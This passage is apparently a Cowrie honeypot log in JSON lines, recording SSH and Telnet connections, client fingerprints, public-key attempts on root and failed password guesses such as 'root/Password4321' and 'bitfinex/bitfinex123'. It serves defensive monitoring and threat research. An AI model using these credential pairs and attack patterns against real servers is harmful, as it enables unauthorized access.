sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:51.430399Z","src_ip":"62.210.189.225","session":"8236b10b1a1d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:d5:85:0e:13:86:f6:ae:e7:1f:6f:86:b1:3b:92:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqt7/qUAwgo3QV71BAMpqWCroEIjSqGRWGEhfxJ1u92C0tAnu/NTfDy4Rib5zVSRDpp5GbGVd3jiKIWQk2XxPUXHS+cRepvCwgOQjEIZxOn5Fgxl+VqOm8cKJ6LcRvRAnzGoaNvk3KDsxEcMvYF0eNkk0LG20XOWkgL29Bci6WFJXJ+Hcj1l+4yZBB9jqxgGGe9S6cm+0JVGpMwoCn/bwTp4R6GNsgQi5cyZ2i1X73dMjvo8DX8vxvIEE4l+XMFCCaKydEKRSjx+ib1EDe7tXGC4L0rRuHAyr5w8Qvu37o9yJ09VtLRJHvAJbx559isIUtdzx2Kw3+v039RrfWl8LgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:d5:85:0e:13:86:f6:ae:e7:1f:6f:86:b1:3b:92:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:51.813596Z","src_ip":"62.210.189.225","session":"8236b10b1a1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:d5:85:0e:13:86:f6:ae:e7:1f:6f:86:b1:3b:92:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqt7/qUAwgo3QV71BAMpqWCroEIjSqGRWGEhfxJ1u92C0tAnu/NTfDy4Rib5zVSRDpp5GbGVd3jiKIWQk2XxPUXHS+cRepvCwgOQjEIZxOn5Fgxl+VqOm8cKJ6LcRvRAnzGoaNvk3KDsxEcMvYF0eNkk0LG20XOWkgL29Bci6WFJXJ+Hcj1l+4yZBB9jqxgGGe9S6cm+0JVGpMwoCn/bwTp4R6GNsgQi5cyZ2i1X73dMjvo8DX8vxvIEE4l+XMFCCaKydEKRSjx+ib1EDe7tXGC4L0rRuHAyr5w8Qvu37o9yJ09VtLRJHvAJbx559isIUtdzx2Kw3+v039RrfWl8LgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:51.816808Z","src_ip":"62.210.189.225","session":"8236b10b1a1d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:bc:71:03:6d:97:50:ae:12:12:06:fd:d1:bb:80:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr33luoujCkregeL0H3qkwSwFyLzf8q/wB0Y+MaWWb8v2ZZxHcwIfGDzJkzcMbBHi7myLtudf3OiLR4W4cB+df5Hg5uuSOns39Rb9FOYvilf2A2sodnWqQrgLWF9syuonmVx42OpGuQ6oEzIETkD59aSEhJZ0jW50TCG9y31AXLpVeUUV41gXe/HQSE8FMLd3S8L9B/m606ZgLoPAt26sknQpnRokXgPHIk4X5cvJmOjy6HknaaufTA7MZ5dOoAExo2oHr3vs+Xea8ivfnsgimg/Uy0Pikj6NpI7hgS3VNQiB6Ir0T80sBFk6c2KndG+z3TXNqbhorMcall+0vISPgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:bc:71:03:6d:97:50:ae:12:12:06:fd:d1:bb:80:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:51.899269Z","src_ip":"62.210.189.225","session":"8236b10b1a1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:bc:71:03:6d:97:50:ae:12:12:06:fd:d1:bb:80:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr33luoujCkregeL0H3qkwSwFyLzf8q/wB0Y+MaWWb8v2ZZxHcwIfGDzJkzcMbBHi7myLtudf3OiLR4W4cB+df5Hg5uuSOns39Rb9FOYvilf2A2sodnWqQrgLWF9syuonmVx42OpGuQ6oEzIETkD59aSEhJZ0jW50TCG9y31AXLpVeUUV41gXe/HQSE8FMLd3S8L9B/m606ZgLoPAt26sknQpnRokXgPHIk4X5cvJmOjy6HknaaufTA7MZ5dOoAExo2oHr3vs+Xea8ivfnsgimg/Uy0Pikj6NpI7hgS3VNQiB6Ir0T80sBFk6c2KndG+z3TXNqbhorMcall+0vISPgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:51.902604Z","src_ip":"62.210.189.225","session":"8236b10b1a1d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:5d:a5:6a:4f:ed:30:7c:d8:c2:1b:b2:ed:a2:0c:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCUX27XMHn+cNgGlBr+l4FQzN1YVoq9ej0w6uCtYFZUkujOdvL79IW1wlPSaD2Rs+soQ6CusJwpbq2IX/HV+ZXfr2/GbPYZm6GeeW+Dk8brgYNKgt9V//0lJGSFeQOUVBxudKN/MmqHOxtFixSwFVFfRHQ5BxT/FcW7pWkLD0AVpqfmJ0ZqqIKBSkS98Q71bZdmakIArRgev990XAyJoKCBr4oHZn/aeY8VAPtU5bpJkbci49KIZMfhVuTqrwyr82tIm4akDHM9HJ8E3QvDLffs1pzaKm9Giq2ou6Yvsjd09MrQg94hMNm/H4cxP18NyG8gB5ZiSLS+OmkV6nahgc5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:5d:a5:6a:4f:ed:30:7c:d8:c2:1b:b2:ed:a2:0c:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:51.988177Z","src_ip":"62.210.189.225","session":"8236b10b1a1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:5d:a5:6a:4f:ed:30:7c:d8:c2:1b:b2:ed:a2:0c:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCUX27XMHn+cNgGlBr+l4FQzN1YVoq9ej0w6uCtYFZUkujOdvL79IW1wlPSaD2Rs+soQ6CusJwpbq2IX/HV+ZXfr2/GbPYZm6GeeW+Dk8brgYNKgt9V//0lJGSFeQOUVBxudKN/MmqHOxtFixSwFVFfRHQ5BxT/FcW7pWkLD0AVpqfmJ0ZqqIKBSkS98Q71bZdmakIArRgev990XAyJoKCBr4oHZn/aeY8VAPtU5bpJkbci49KIZMfhVuTqrwyr82tIm4akDHM9HJ8E3QvDLffs1pzaKm9Giq2ou6Yvsjd09MrQg94hMNm/H4cxP18NyG8gB5ZiSLS+OmkV6nahgc5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:51.991158Z","src_ip":"62.210.189.225","session":"8236b10b1a1d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:19:53:c3:ec:79:04:09:eb:2a:29:c4:02:4d:a0:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCerBUOE+msRhTBGPqt+6yPm6+OPw6F7nl5tNgbb/OUJu2uv9QWWa0IioZIxQk75Kn3g8N2+Wc2ZvCFOdv/rgxnVEFs32B+QLDyjbJSuQeiJcVjx23HwGATOm/jTEMAy9WZt6Oc9s1/lgKB2QP6wG61o/wV2SOgvbMTfxpbkkTHY/qdt3AM096OYeeMRE8Pf6Lex4WvQulWy86DIZuSQRl3QusYB0bqu18pvHlDyhqukEZgh4+M61hn4p2In3/che9R4CkbQGBbxpFXjWdscF9eSN5pPVPJfepU2AKEC2DB7egC/U58NInz0rurt4sZfi2Nv2vSrFbd1K/AFA6qjqK5RfvEoyKOIsh/uA4p5wMLuj1WC8M74btxtSOtcReZZRDDKG0YPrLJhcNmsxCzp6Mamb+fVyu4XYS14VtZxhaFqykZGUwWytKim0xQwfgjgkIvPtzCoNcTxNQdkYl3E14rNGTN+nmvYnBgxTBBNoKiSZ1MES4Yc5OlkFmqM4e9lxpP9ru5k5C7P3/IoMeXZ9JZ4GfrGo3keH597B34SrQ/TZMTvmm+MsC5F05Ntx81HbyPmR87aXPw7vDiJ49SU2qyIumD4BKxmJT31FPk+LynkRV2JXI5YOETBnF+LrfHDDw0CGlYPiwh9VymMlwl5BcFYUQ6sPq27DZGwj7QUVnUOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:19:53:c3:ec:79:04:09:eb:2a:29:c4:02:4d:a0:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:52.072642Z","src_ip":"62.210.189.225","session":"8236b10b1a1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:19:53:c3:ec:79:04:09:eb:2a:29:c4:02:4d:a0:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCerBUOE+msRhTBGPqt+6yPm6+OPw6F7nl5tNgbb/OUJu2uv9QWWa0IioZIxQk75Kn3g8N2+Wc2ZvCFOdv/rgxnVEFs32B+QLDyjbJSuQeiJcVjx23HwGATOm/jTEMAy9WZt6Oc9s1/lgKB2QP6wG61o/wV2SOgvbMTfxpbkkTHY/qdt3AM096OYeeMRE8Pf6Lex4WvQulWy86DIZuSQRl3QusYB0bqu18pvHlDyhqukEZgh4+M61hn4p2In3/che9R4CkbQGBbxpFXjWdscF9eSN5pPVPJfepU2AKEC2DB7egC/U58NInz0rurt4sZfi2Nv2vSrFbd1K/AFA6qjqK5RfvEoyKOIsh/uA4p5wMLuj1WC8M74btxtSOtcReZZRDDKG0YPrLJhcNmsxCzp6Mamb+fVyu4XYS14VtZxhaFqykZGUwWytKim0xQwfgjgkIvPtzCoNcTxNQdkYl3E14rNGTN+nmvYnBgxTBBNoKiSZ1MES4Yc5OlkFmqM4e9lxpP9ru5k5C7P3/IoMeXZ9JZ4GfrGo3keH597B34SrQ/TZMTvmm+MsC5F05Ntx81HbyPmR87aXPw7vDiJ49SU2qyIumD4BKxmJT31FPk+LynkRV2JXI5YOETBnF+LrfHDDw0CGlYPiwh9VymMlwl5BcFYUQ6sPq27DZGwj7QUVnUOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:52.075408Z","src_ip":"62.210.189.225","session":"8236b10b1a1d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:04:1e:d2:d8:54:0f:07:a4:c8:26:5f:3b:f5:8e:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6tioXNl+GqU0Y0fLo5Vqey//pwjD2WAwk6vIulE47m25OaR2QFGauuhy4uwu6AAdR/7aPDGZnJbhwV1uNCPlbQm7HsXb/tAoe04iV8pH9AgkhxtKiinw8vn3g7thLsCnpfLV9RbV4jyH4y00/tQhHZymICBIVxrLkfaMBs3OE5h3U7LYLCdsJ7NYRFN7qbWQ3/y66ay+LgdyXqc1lUCKaFWLLFMCpAo9LQWh+YlXq1h34GayS0xhuSnbrM5H6NIlw8+QTGo5p10pbOszJBgADYycoZO9HWWv7FnJi0azJFQi78A0fECDhmfPU7AhFw6B/aGsS2gnvsavNHAPHVvNd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:04:1e:d2:d8:54:0f:07:a4:c8:26:5f:3b:f5:8e:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:52.156694Z","src_ip":"62.210.189.225","session":"8236b10b1a1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:04:1e:d2:d8:54:0f:07:a4:c8:26:5f:3b:f5:8e:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6tioXNl+GqU0Y0fLo5Vqey//pwjD2WAwk6vIulE47m25OaR2QFGauuhy4uwu6AAdR/7aPDGZnJbhwV1uNCPlbQm7HsXb/tAoe04iV8pH9AgkhxtKiinw8vn3g7thLsCnpfLV9RbV4jyH4y00/tQhHZymICBIVxrLkfaMBs3OE5h3U7LYLCdsJ7NYRFN7qbWQ3/y66ay+LgdyXqc1lUCKaFWLLFMCpAo9LQWh+YlXq1h34GayS0xhuSnbrM5H6NIlw8+QTGo5p10pbOszJBgADYycoZO9HWWv7FnJi0azJFQi78A0fECDhmfPU7AhFw6B/aGsS2gnvsavNHAPHVvNd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:52.159391Z","src_ip":"62.210.189.225","session":"8236b10b1a1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:52.240336Z","src_ip":"62.210.189.225","session":"8236b10b1a1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":60020,"dst_ip":"10.17.0.5","dst_port":22,"session":"791d80bc161a","protocol":"ssh","message":"New connection: 162.144.61.95:60020 (10.17.0.5:22) [session: 791d80bc161a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:04.699693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:04.704411Z","src_ip":"162.144.61.95","session":"791d80bc161a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:04.795279Z","src_ip":"162.144.61.95","session":"791d80bc161a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":55098,"dst_ip":"10.17.0.5","dst_port":22,"session":"31e47a2227d0","protocol":"ssh","message":"New connection: 162.214.5.224:55098 (10.17.0.5:22) [session: 31e47a2227d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:04.971389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:04.974495Z","src_ip":"162.214.5.224","session":"31e47a2227d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:05.068443Z","src_ip":"162.214.5.224","session":"31e47a2227d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass!@#$%^&*()","message":"login attempt [root/pass!@#$%^&*()] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:05.082885Z","src_ip":"162.144.61.95","session":"791d80bc161a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitfinex","password":"bitfinex123","message":"login attempt [bitfinex/bitfinex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:05.342488Z","src_ip":"162.214.5.224","session":"31e47a2227d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:06.476912Z","src_ip":"162.144.61.95","session":"791d80bc161a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:06.731263Z","src_ip":"162.214.5.224","session":"31e47a2227d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":40098,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4ff17d1924d","protocol":"ssh","message":"New connection: 154.16.115.34:40098 (10.17.0.5:22) [session: b4ff17d1924d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:08.635554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:08.639748Z","src_ip":"154.16.115.34","session":"b4ff17d1924d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:08.664863Z","src_ip":"154.16.115.34","session":"b4ff17d1924d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"optimism2024","message":"login attempt [root/optimism2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:08.741446Z","src_ip":"154.16.115.34","session":"b4ff17d1924d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:09.769009Z","src_ip":"154.16.115.34","session":"b4ff17d1924d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":42538,"dst_ip":"10.17.0.5","dst_port":22,"session":"173b6b2972d3","protocol":"ssh","message":"New connection: 38.148.249.2:42538 (10.17.0.5:22) [session: 173b6b2972d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:33.609337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:33.612878Z","src_ip":"38.148.249.2","session":"173b6b2972d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:33.681255Z","src_ip":"38.148.249.2","session":"173b6b2972d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password4321","message":"login attempt [root/Password4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:33.992688Z","src_ip":"38.148.249.2","session":"173b6b2972d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:35.064127Z","src_ip":"38.148.249.2","session":"173b6b2972d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47380,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a018492afb0","protocol":"telnet","message":"New connection: 170.64.224.25:47380 (159.203.135.109:23) [session: 1a018492afb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:39.737009Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":54790,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b9251914abf","protocol":"ssh","message":"New connection: 162.144.105.39:54790 (10.17.0.5:22) [session: 3b9251914abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:51.570296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:51.573874Z","src_ip":"162.144.105.39","session":"3b9251914abf","protocol":"ssh"}
